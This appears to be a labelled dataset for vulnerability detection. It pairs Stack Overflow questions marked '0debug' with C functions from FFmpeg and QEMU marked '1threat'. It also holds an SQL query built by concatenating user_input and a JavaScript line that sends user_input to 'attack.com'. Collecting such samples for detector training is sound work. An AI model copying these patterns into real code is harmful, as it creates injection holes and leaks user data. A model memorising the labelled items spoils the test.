problem
stringlengths
26
131k
labels
class label
2 classes
Swift : expected type after as , Xcode 8-Beta, Swift 3 : This this code Where I'm getting the error.. This this code Where I'm getting the error.. This this code Where I'm getting the error.. This this code Where I'm getting the error.. This this code Where I'm getting the error.. [![pri...
0debug
Java - Go To Non-Static Void From Static Void? : <p>Well as my code doesn't really help very much, I wont show any unless someone needs to see some.</p> <p>But I'll give an example of what I want to do.</p> <p>Example: "Class1.java"</p> <pre><code>class Class1 { int num = 3 + 2; public static void Main(Str...
0debug
How to make Unity 3d gold system : <p>I have a problem. I am facing a problem when preparing the gold system in unity 3d. I am using PlayerPrefs and the system does not work.I am collecting gold, the value is increasing, but when I go out of the game and enter the game again, the gold value is 0 again. I want the gold ...
0debug
static int mov_flush_fragment(AVFormatContext *s) { MOVMuxContext *mov = s->priv_data; int i, first_track = -1; int64_t mdat_size = 0; if (!(mov->flags & FF_MOV_FLAG_FRAGMENT)) return 0; if (mov->fragments == 0) { int64_t pos = avio_tell(s->pb); uint8_t *buf; ...
1threat
Is there any way of not creating temp variable for push_back()? : <pre><code>std::vector&lt;Foo&gt; v; v.push_back(Foo()); </code></pre> <p>Does this create a temp variable for Foo, or does this work like emplace_back()?</p>
0debug
Summing a number recursively and displaying it : <p>I searched for a solution to this problem quite a bit, but couldn't reach a solution. Would be great if someone can point me in the right direction.</p> <p>Ok, so suppose there's a number :-</p> <pre><code>0.001 </code></pre> <p>What I want to do is, <em>add</em> 0...
0debug
cursor.execute('SELECT * FROM users WHERE username = ' + user_input)
1threat
How do I disable a gcc warning which has no command line switch? : <p>I get the following warning:</p> <pre><code>warning: 'X' is initialized and declared 'extern' </code></pre> <p>and it <a href="https://stackoverflow.com/a/21585233/57428">looks like it's no big deal</a> and I could disable it. Changing the code is ...
0debug
How to shift a index in an array 3 positions to the right in javascript using only loops : <p>how can i shift the index's of an array 3 positions to the right , and looping the index's that reach the end of the array back to the begining of the array. Using only loops and no functions. Array=[5,10,30,60,50,30,20,2,5]</...
0debug
Jest: mocking console.error - tests fails : <p><strong>The Problem:</strong></p> <p>I have a simple React component I'm using to learn to test components with Jest and Enzyme. As I'm working with props, I added the <code>prop-types</code> module to check for properties in development. <code>prop-types</code> uses <c...
0debug
window.location.href = 'http://attack.com?user=' + user_input;
1threat
void *pci_assign_dev_load_option_rom(PCIDevice *dev, struct Object *owner, int *size, unsigned int domain, unsigned int bus, unsigned int slot, unsigned int function) { char name[32], rom_file[64]; ...
1threat
av_cold int vp56_free(AVCodecContext *avctx) { VP56Context *s = avctx->priv_data; int pt; av_freep(&s->qscale_table); av_freep(&s->above_blocks); av_freep(&s->macroblocks); av_freep(&s->edge_emu_buffer_alloc); if (s->framep[VP56_FRAME_GOLDEN]->data[0]) avctx->release_buffer(avctx, s-...
1threat
What does this mean **&a in C++ : <p>What is different between two fucntions bellow?</p> <pre><code>void init1(int **&amp;a, int n) { a = new int *[n]; for (int i = 0; i&lt;n; i++) a[i] = new int [n]; } </code></pre> <p>and</p> <pre><code>void init1(int **a, int n) { a = new int *[n]; for (in...
0debug
void write_video_frame(AVFormatContext *oc, AVStream *st) { int x, y, i, out_size; AVCodecContext *c; c = &st->codec; i = frame_count++; for(y=0;y<c->height;y++) { for(x=0;x<c->width;x++) { picture->data[0][y * picture->linesize[0] + x] = x + y + i * 3...
1threat
Cannot mock final Kotlin class using Mockito 2 : <p>I am unable to mock a Kotlin final class using Mockito 2. I am using Robolectric in addition.</p> <p>This is my test code:</p> <pre><code>@RunWith(RobolectricTestRunner.class) @Config(constants = BuildConfig.class, sdk = 21) public class Test { // more mocks ...
0debug
Typescript ReturnType of generic function : <p>The new <code>ReturnType</code> in <a href="https://github.com/Microsoft/TypeScript/wiki/What&#39;s-new-in-TypeScript#type-inference-in-conditional-types" rel="noreferrer">TypeScript 2.8</a> is a really useful feature that lets you extract the return type of a particular f...
0debug
Force Matlab to run a deep learning code on CPU instead of GPU : I don't have CUDA-enabled NVIDIA GPU and I want to force matlab to run the code on CPU instead of GPU (yes I know, it will be very very slow). How can I do it? As an example, lets try to run [this code][1]. Here is the error given by Matlab: The...
0debug
SWIFT -- Alamofire “Info.plist” couldn’t be opened because there is no such file : I'M USING ALAMOFIRE IN MY PROJECT. BUT I'M NOT USING IT WITH COCOAPODS. I JUST DRAG AND DROPPED IT IN MY PROJECT AS SHOW IN ALAMOFIREGITHUB TUTORIAL. NOW I'M FACING AN ISSUE THAT WHILE COMPILING THE PROJECT IT'S SHOWING "Alamofire “Info....
0debug
Jenkins Job - DatabaseError: file is encrypted or is not a database : <p>When running this code for connecting to a db through cmd - locally and on the actual server it works fine. But I have set it up on Jenkins and receive the error: </p> <pre><code>DatabaseError: file is encrypted or is not a database </code></pre>...
0debug
saving the returnin value of fork in a variable in C : <p>I am a bit confused about the value which the function fork returns. I understand that value <code>0</code> is for <code>child</code> process and value <code>&gt;0</code> is for <code>parent</code> process. I have the code below</p> <pre><code>int main() { ...
0debug
Does anyone know how to change from AutoIT code to Java? : <p>I have the following AutoIT code and I'd like to know how to migrate/translate to Java</p> <p>AutoIT:</p> <pre><code> AutoItSetOption("WinTitleMatchMode","20") WinWait("Authentication Required") While WinExists("Authentication Required") Opt(...
0debug
Pandas boolean statements : I am working with some messy EPA data that desperately needs to be cleaned up. It looks something like this: ---------- id 1 2 3 4 1 ph temp alk cond 2 ph temp alk cond 3 temp ph cond alk 4 temp alk cond ph ---------- We would like to make ...
0debug
char *socket_address_to_string(struct SocketAddress *addr, Error **errp) { char *buf; InetSocketAddress *inet; switch (addr->type) { case SOCKET_ADDRESS_KIND_INET: inet = addr->u.inet.data; if (strchr(inet->host, ':') == NULL) { buf = g_strdup_printf("%s:%s", inet->...
1threat
int read_ffserver_streams(AVFormatContext *s, const char *filename) { int i; AVFormatContext *ic; ic = av_open_input_file(filename, FFM_PACKET_SIZE); if (!ic) return -EIO; s->nb_streams = ic->nb_streams; for(i=0;i<ic->nb_streams;i++) { AVStream *st; st =...
1threat
static void nic_reset(void *opaque) { EEPRO100State *s = opaque; TRACE(OTHER, logout("%p\n", s)); memset(&s->mult[0], 0, sizeof(s->mult)); nic_selective_reset(s); }
1threat
PHP: Namespce and calling one class into other : I have two classes, `Class1` and `Class2` which are under namespace `myNameSpace` I want to create instance of `Class2` in class` and I am getting error in implementing file `Class 'myNameSpace\Class2' not found in.. `. Code given below: **Class1.php** nam...
0debug
How can I forecast a 2000 vehicles engine hours separately using R language? : <p>machines: m1, m2, m3,... m2000 date: 2016, 2016, 2016...2016 engine hours: 200, 300, 30,....700. Think each machine has some 200 rows of data in 2016, how can I forecast engine hours for 2017 for all 2000 machines.</p>
0debug
static int find_image_range(int *pfirst_index, int *plast_index, const char *path, int start_index, int start_index_range) { char buf[1024]; int range, last_index, range1, first_index; for (first_index = start_index; first_index < start_index + start_index_range; fir...
1threat
C++ find whitespaces in substring : <p>I want to know how can I find empty or whitespaces within substring in C++. For example:</p> <pre><code>string str = "( )"; // or str = "()" </code></pre> <p>Here, I want to make sure there is always something in between parenthesis. Function isspace() takes only one character s...
0debug
Equal height double column using css : <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>#DIV_1 { bottom: -10px; height: 176px; left: 0px; position: relative;...
0debug
static void thread_pool_completion_bh(void *opaque) { ThreadPool *pool = opaque; ThreadPoolElement *elem, *next; aio_context_acquire(pool->ctx); restart: QLIST_FOREACH_SAFE(elem, &pool->head, all, next) { if (elem->state != THREAD_DONE) { continue; } trace_thread_pool...
1threat
av_cold void ff_dsputil_init(DSPContext* c, AVCodecContext *avctx) { int i; ff_check_alignment(); #if CONFIG_ENCODERS if (avctx->bits_per_raw_sample == 10) { c->fdct = ff_jpeg_fdct_islow_10; c->fdct248 = ff_fdct248_islow_10; } else { if(avctx->dct_algo==FF_DCT_FAS...
1threat
static void gmc1_motion(MpegEncContext *s, uint8_t *dest_y, uint8_t *dest_cb, uint8_t *dest_cr, uint8_t **ref_picture) { uint8_t *ptr; int src_x, src_y, motion_x, motion_y; ptrdiff_t offset, linesize, uvlinesize; int emu = 0; motion_x = s->...
1threat
Why casting division by zero to integer primitives gives different results? : <pre><code> System.out.println((byte) (1.0/0)); System.out.println((short) (1.0/0)); System.out.println((int) (1.0/0)); System.out.println((long) (1.0/0)); </code></pre> <p>The result is:</p> <pre><code> -1 -1 2147...
0debug
How to use Let's Encrypt with Docker container based on the Node.js image : <p>I am running an <a href="http://expressjs.com/" rel="noreferrer">Express</a>-based website in a Docker container based on the <a href="https://hub.docker.com/_/node/" rel="noreferrer">Node.js image</a>. How do I use <a href="https://letsencr...
0debug
GuestFileSeek *qmp_guest_file_seek(int64_t handle, int64_t offset, int64_t whence, Error **errp) { GuestFileHandle *gfh; GuestFileSeek *seek_data; HANDLE fh; LARGE_INTEGER new_pos, off_pos; off_pos.QuadPart = offset; BOOL res; gfh = guest_file_hand...
1threat
How do I tell when a NetworkImage has finished loading? : <p>I have a <a href="https://docs.flutter.io/flutter/services/NetworkImage-class.html" rel="noreferrer">NetworkImage</a> and I'd like to know when it's finished loading. How do I do that?</p>
0debug
why can't i use "where R.ApartmentID = null" to retrieve all non matching rows from the left table : I only have a month of learning experience on sql server and I was just wondering why the first query before produces the right results (i.e. join two table and only select rows from left table that does NOT have a matc...
0debug
int variable = sentence.lenght won't work but sentence.Lenght will (c#) : I'm an absolute beginner in c#,I'll have my first exam in a week or so and I just can't understand this. I know it's easier the 2nd way, but I just want to understand why the first won't work. The objective of the code is to remove the position...
0debug
Long, single line ES6 string literal : <p>The google is full of blog posts and answers to question how one should benefit from ES6 string literals. And almost every blog post explaining this feature in depth has some details on how to implement multiline strings:</p> <pre><code>let a = `foo bar`; </code></pre> <p>But...
0debug
Automatic properties documentation for Java application : <p>Are there "Javadoc-like" instruments for configuration properties in Java application?</p> <p>I'm currently working on Java application, which uses usual Java properties files for configuration. This is an "enterprise app", so we have dozens of properties an...
0debug
How to solve this task using sed or grep? : What should I write to find sublines like this (3894569) ? I have tried "\([0-9]*\\)" but it ,for example in line : wiluefh/u3:2(920) finds 3 and 2 and 920 I want only 920 so what I must improve?
0debug
How to configure Google Domains + Heroku w a Naked Domain : <p>I have a domain loading in a web browser using Heroku and Google Domains. Right now the domain loads with a www: <a href="http://www" rel="noreferrer">http://www</a>. XXX .com.</p> <p>If I enter the URL w/o the WWW like http:// XXX .com I get the following...
0debug
static unsigned long *iscsi_allocationmap_init(IscsiLun *iscsilun) { return bitmap_try_new(DIV_ROUND_UP(sector_lun2qemu(iscsilun->num_blocks, iscsilun), iscsilun->cluster_sectors)); }
1threat
static void xio3130_downstream_realize(PCIDevice *d, Error **errp) { PCIEPort *p = PCIE_PORT(d); PCIESlot *s = PCIE_SLOT(d); int rc; pci_bridge_initfn(d, TYPE_PCIE_BUS); pcie_port_init_reg(d); rc = msi_init(d, XIO3130_MSI_OFFSET, XIO3130_MSI_NR_VECTOR, XIO3130_MSI_S...
1threat
ASP.net, c#, sql command Must Declare the Scalar Variable for User Control : I have a sql command. I tested it selecting top 5 to make sure it was connected and mapped to the write datasoure. I can select the top 5. But, when I try to select with the HostID I ge the error "Must Declare the Scalar Variable". The command...
0debug
How to have a horizontal filling areaplot in R : <p>Imagine a normal area plot of a continuous function y = f(x), which fills the area below the plotted graph down to the x-axis.</p> <p>But I have to plot my data transposed. The y-data is now on the horizontal axis and the x-data is now on the vertical axis. I want to...
0debug
Intellij doesn't show .git directory : <p>How I can I get Intellij to show the .git folder in the project viewer? I tried ctrl+alt+A and clicked "show hidden files and directories", but it doesn't switch to the "on" position, so I suppose that's not the way of going about this?</p>
0debug
WebView with service worker (what are ServiceWorkerController and ServiceWorkerWebSettings?) : <p>I have a service worker going fine in Chrome desktop and Chrome mobile, and I can tell exactly what is happening via the amazing DevTools in Chrome desktop (monitoring Chrome mobile remotely via USB). My service worker is...
0debug
asyn await vs await task.run : <p>What is the difference in using asyn/await vs await task.run()</p> <p>await task.run example -</p> <pre><code> public static void Main() { await Task.Run(() =&gt; { return "Good Job"; }); method1(); method2(); } </code></pre> <p>Async await example-</p> ...
0debug
def find_Element(arr,ranges,rotations,index) : for i in range(rotations - 1,-1,-1 ) : left = ranges[i][0] right = ranges[i][1] if (left <= index and right >= index) : if (index == left) : index = right else : index = in...
0debug
How to create an app like youtube for dowload and show video : <p>YouTube after the download file, just show it in the youtube app . Where the file is stored and how it can be created application that open my videos and files in my application</p>
0debug
How do you print variables in Python? : <p>I'm only in secondary school so I'm not even competent at coding, but my school website is down and I cant find some answers to questions in python coding. There's probably a really simple answer, but I cant remember how to print a variable. the variable I simply a string of n...
0debug
Self executable python file : <p>Actually, I am new to python and I want to download some content from a website daily. So what can I use to run that file each day? Any help would be appreciated! </p>
0debug
Slow insert on PostgreSQL using JDBC : <p>I work on a system which downloads data from a cloud system to a local database (PostgreSQL, MySQL, ...). Now I'm having an issue with PostgreSQL performance because it takes a lot of time to insert the data.</p> <p>A number of columns and the size of the data may vary. In a s...
0debug
int av_cold ff_celt_pvq_init(CeltPVQ **pvq, int encode) { CeltPVQ *s = av_malloc(sizeof(CeltPVQ)); if (!s) return AVERROR(ENOMEM); s->pvq_search = ppp_pvq_search_c; s->quant_band = encode ? pvq_encode_band : pvq_decode_band; s->band_cost = pvq_band_cost; if (ARCH_X86) ...
1threat
Is it appropriate to have a data field of type A as a data field for type B (type B is inherited from type A)? : <p>If a user-defined class inherits from the Java's <code>ArrayList&lt;E&gt;</code> class, is it appropriate to have a data field of type <code>ArrayList&lt;E&gt;</code> as a data field? Explain why or why n...
0debug
How to make this Block of python code short and efficient : <p>I am total newbie to programming and python. I was solving a problem. I found the solution but it seems like too slow.</p> <pre><code> if n % 2 == 0 and n % 3 == 0 and\ n % 4 == 0 and n % 5 == 0 and\ n % 6 == 0 and n % 7 == 0 and\ n...
0debug
static int asf_write_trailer(AVFormatContext *s) { ASFContext *asf = s->priv_data; int64_t file_size, data_size; if (asf->pb.buf_ptr > asf->pb.buffer) flush_packet(s); data_size = avio_tell(s->pb); if ((!asf->is_streamed) && (asf->nb_index_count != 0)) asf_wri...
1threat
How to make part of a string italics in java? : <p>say I have a string "How are you?" How would I convert just the word "you" into italics.</p> <p>PS, I am a beginner so please don't incorporate advanced programming.</p>
0debug
Force `stack` to rebuild an installed package : <p>I often install a package which depends on external libraries and manage to move those external libraries to other locations afterwards, so that compiled programs exit with a loader error.</p> <p>In those cases I just want stack to rebuild an already installed package...
0debug
R: stri_replace_all_fixed slow on big data set - is there an alternative? : I'm trying to stem ~4000 documents in R, by using the <b>stri_replace_all_fixed</b> function. However, it is VERY slow, since my dictionary of stemmed words consists of approx. 300k words. I am doing this because the documents are in danish and...
0debug
void do_delvm(Monitor *mon, const QDict *qdict) { DriveInfo *dinfo; BlockDriverState *bs, *bs1; int ret; const char *name = qdict_get_str(qdict, "name"); bs = get_bs_snapshots(); if (!bs) { monitor_printf(mon, "No block device supports snapshots\n"); return; } ...
1threat
Customized date format in Javascript or jQuery? : <p>I need to format my date like this "2016-04-19T03:35:17.02". How can i format date format like using javascript or jQuery.</p> <p>Please help me any one this.</p>
0debug
Bluetooth device is not listed : <p>Device I have connected is my arduino board with bluetooth HC-05 which is Bluetooth 2.0 module. It shows in my Windows 10 bluetooth manager, that the device is ready to be paired (I can even pair it with no problem), however my UWP app seems not to find it:</p> <p><a href="https://i...
0debug
uint64_t ppc_hash64_start_access(PowerPCCPU *cpu, target_ulong pte_index) { uint64_t token = 0; hwaddr pte_offset; pte_offset = pte_index * HASH_PTE_SIZE_64; if (cpu->env.external_htab == MMU_HASH64_KVM_MANAGED_HPT) { token = kvmppc_hash64_read_pteg(cpu, pte_index); } ...
1threat
Please help def issue // NameError: name ' passwordchecker' is not defined : **Indented so much so I could put the code in here** I am making a password checker and a generator with a menu, the password checker by it's self works fine but the menu does not work along with the code and I've tried the menu by it's sel...
0debug
static void uart_read_rx_fifo(UartState *s, uint32_t *c) { if ((s->r[R_CR] & UART_CR_RX_DIS) || !(s->r[R_CR] & UART_CR_RX_EN)) { return; } if (s->rx_count) { uint32_t rx_rpos = (RX_FIFO_SIZE + s->rx_wpos - s->rx_count) % RX_FIFO_SIZE; *c = s->rx_fifo[rx_rpos...
1threat
static int webp_decode_frame(AVCodecContext *avctx, void *data, int *got_frame, AVPacket *avpkt) { AVFrame * const p = data; WebPContext *s = avctx->priv_data; GetByteContext gb; int ret; uint32_t chunk_type, chunk_size; int vp8x_flags = 0; s->avctx ...
1threat
int net_init_socket(QemuOpts *opts, const char *name, VLANState *vlan) { if (qemu_opt_get(opts, "fd")) { int fd; if (qemu_opt_get(opts, "listen") || qemu_opt_get(opts, "connect") || qemu_opt_get(opts, "mcast") || qemu_opt_get(opts, "localaddr")) { ...
1threat
Cant Update an sql value : <p>i'm trying to update a value on mysql database, but i cant do it, i'm receiving succefully the data from the table, but on update it says 'connection error' i don't know what i'm missing</p> <p>Panel.php </p> <pre><code> &lt;?php require_once 'funciones/mysql.php'; ...
0debug
How to write text in the middle of a file in vbscript? : <p>I would like to know how to write text in a middle of a file in vbscript. The text file has 2 lines, one line for the name of the output and the second of the value. The outputs separated by ";" For example : Before insert text, the text file contain - </p> ...
0debug
static void mv88w8618_wlan_write(void *opaque, target_phys_addr_t offset, uint64_t value, unsigned size) { }
1threat
static void *colo_compare_thread(void *opaque) { GMainContext *worker_context; GMainLoop *compare_loop; CompareState *s = opaque; GSource *timeout_source; worker_context = g_main_context_new(); qemu_chr_fe_set_handlers(&s->chr_pri_in, compare_chr_can_read, ...
1threat
Is there a program on which to make a quiz that runs Python code? I.e. The person enters code, then the quiz runs it on a kernel : <p>Every single query of this sort I could find simply involved making some kind of Multiple Choice Quiz using Python that took in values like "a" or "b" as input.</p> <p>What I'm thinking...
0debug
static int commit_one_file(BDRVVVFATState* s, int dir_index, uint32_t offset) { direntry_t* direntry = array_get(&(s->directory), dir_index); uint32_t c = begin_of_direntry(direntry); uint32_t first_cluster = c; mapping_t* mapping = find_mapping_for_cluster(s, c); uint32_t size = filesize_of...
1threat
RxSwift modify tableview cell on select : <p>I have a table view in my app. I generated the datasource for this table using following code</p> <pre><code>struct ContactNameNumberBlockStatus { var contactThumbnail: Data? var contactName : String var contactNumber: String var blockStatus : Bool } class ...
0debug
Catalyst 'SwiftUI.AccessibilityNode' is not a known serializable element : <p>I created a fresh iOS Single Page App (including SwiftUI) with Xcode 11.1 and enabled Mac Catalyst. After running the fresh Project on my Mac (macOS 10.15 of course) I get the following errors after tapping once on the window.</p> <pre><code...
0debug
3 join tables mysql HELP ME : this is my table program_join ('program_join_id, member_ID, program_schedule_id'); program_schedule (program_scedule_id, program_id, datetime'); program ('program_id, program_name); this is my mysql $mySql = "SELECT program_join.program_join_id, member.member...
0debug
Cannot Install Parallels Tools on Ubuntu 18.04 LTS : <p>I can't install Parallels Tools on Ubuntu 18.04 LTS. Here is the error log:</p> <pre><code>Started installation of Parallels Guest Tools version '13.3.0.43321' Thu Apr 26 21:45:11 PDT 2018 Start installation or upgrade of Guest Tools new version of parallels too...
0debug
How this program is being evaluated? : #include<stdio.h> int main(void) { int i=10; if(i==(20||10)) printf("True"); else printf("False"); return 0; } // gives output: False //Please explain me how this program works??
0debug
size_t qemu_file_get_rate_limit(QEMUFile *f) { if (f->get_rate_limit) return f->get_rate_limit(f->opaque); return 0; }
1threat
Why does the decimal 2.5M round to 2? : <p>I must be missing some subtlety of .NET rounding. So I am looking at this example:</p> <pre><code>decimal num = 2.5M; var result = Math.Round(num); </code></pre> <p>Why is <code>result = 2</code>? (I would have expected 3 since it should round up)</p>
0debug
what is the next step for python web scraping on my pc? : <p>I have (python 3.7.2, anaconda navigator, and sublime text 3) installed on my computer (windows 10 home, 64 bit). do i have the correct programs installed for 'python web scraping'? what is the next step to successfully start web scraping? (when i press and h...
0debug
How can we center title of react-navigation header? : <p>React-navigation docs are still young, and reading through the issues is not working quite much for me (changes on each version) does anyone have a working method to center title in Android using <code>react-navigation</code> in React Native?</p>
0debug
Notice: Undefined index: namaunit : <p>I'm new in programming, and i don't know why it doesn't work. I use the same code for my other input form, and that code work just fine. But, for this form, it's not. The form is pretty much same, so, that's why i totally do not understand why it's not working. </p> <p>This is th...
0debug
How to call another function with in an Azure function : <p>I have written 3 functions as follows</p> <ol> <li>create users in db</li> <li>fetch users from db</li> <li>process users</li> </ol> <p>In [3] function, I will call [2] function to get users using Azure function url as below:-</p> <p><a href="https://hdidow...
0debug
Get inner type from concrete type associated with a TypeVar : <p>I'm using <code>mypy</code> and the <code>typing</code> module in python. Imagine I have a generic type:</p> <pre><code>ContainerT = TypeVar('ContainerT') class Thingy(Generic[ContainerT]): pass </code></pre> <p>However I want to get at another typ...
0debug
static void derive_spatial_merge_candidates(HEVCContext *s, int x0, int y0, int nPbW, int nPbH, int log2_cb_size, int singleMCLFlag, int part_idx, ...
1threat
static int oss_run_out (HWVoiceOut *hw) { OSSVoiceOut *oss = (OSSVoiceOut *) hw; int err, rpos, live, decr; int samples; uint8_t *dst; st_sample_t *src; struct audio_buf_info abinfo; struct count_info cntinfo; int bufsize; live = audio_pcm_hw_get_live_out (hw); if (!...
1threat
static void omap1_mpu_reset(void *opaque) { struct omap_mpu_state_s *mpu = (struct omap_mpu_state_s *) opaque; omap_inth_reset(mpu->ih[0]); omap_inth_reset(mpu->ih[1]); omap_dma_reset(mpu->dma); omap_mpu_timer_reset(mpu->timer[0]); omap_mpu_timer_reset(mpu->timer[1]); omap_mpu_time...
1threat
static void qemu_file_set_error(QEMUFile *f, int ret) { if (f->last_error == 0) { f->last_error = ret; } }
1threat
How do I position one image on top of another in HTML : <p>How to do this in HTML/CSS? (Please check the image)</p> <p><a href="https://i.stack.imgur.com/AdnF3.png" rel="nofollow noreferrer">image on top of an another image</a></p>
0debug
Github pages: Why do I need a gh-pages : <p>I have deployed a personal blog using Github pages and I see that some tutorials tell you to create a gh-pages branch. I did that, however, my changes to the website are visible only if I make changes to my master. So, I'm confused as to why I need gh-pages? Can someone pleas...
0debug
dataframe search from list and all elemts found in a new coloumn in scala : i have a df and i need to search if there is any set of elements from the list of keywords or not .. if yes i need to put all these keywords @ separated in a new coloumn called found or not: my df is like utid|description 123|my name is har...
0debug
Python's `unittest` lacks an `assertHasAttr` method, what should I use instead? : <p>Of the many, many assert methods in <a href="https://docs.python.org/3/library/unittest.html" rel="noreferrer">Python's standard <code>unittest</code> package</a>, <code>.assertHasAttr()</code> is curiously absent. While writing some u...
0debug
changing a c program to a c++ program - compile errors : <p>I'm using the <a href="https://github.com/alanxz/rabbitmq-c" rel="nofollow noreferrer">RabbitMQ C library</a>. It is written in C and uses CMake. I'm using the basic amqp_sendstring client example. My question is that I need to integrate some c++ code to take ...
0debug
Beginner at Java, need an explanation for an answer please : void f(int[] x, int[] y, int p, int q) { for (int i=0;i<x.length;++i) { x[i] = 2*x[i]; } x=new int[5]; for (int i=0;i<5;++i) { x[i]=0; } y[3]=5; p=q+1; } ...
0debug
gboolean qcrypto_hash_supports(QCryptoHashAlgorithm alg) { if (alg < G_N_ELEMENTS(qcrypto_hash_alg_map)) { return true; } return false; }
1threat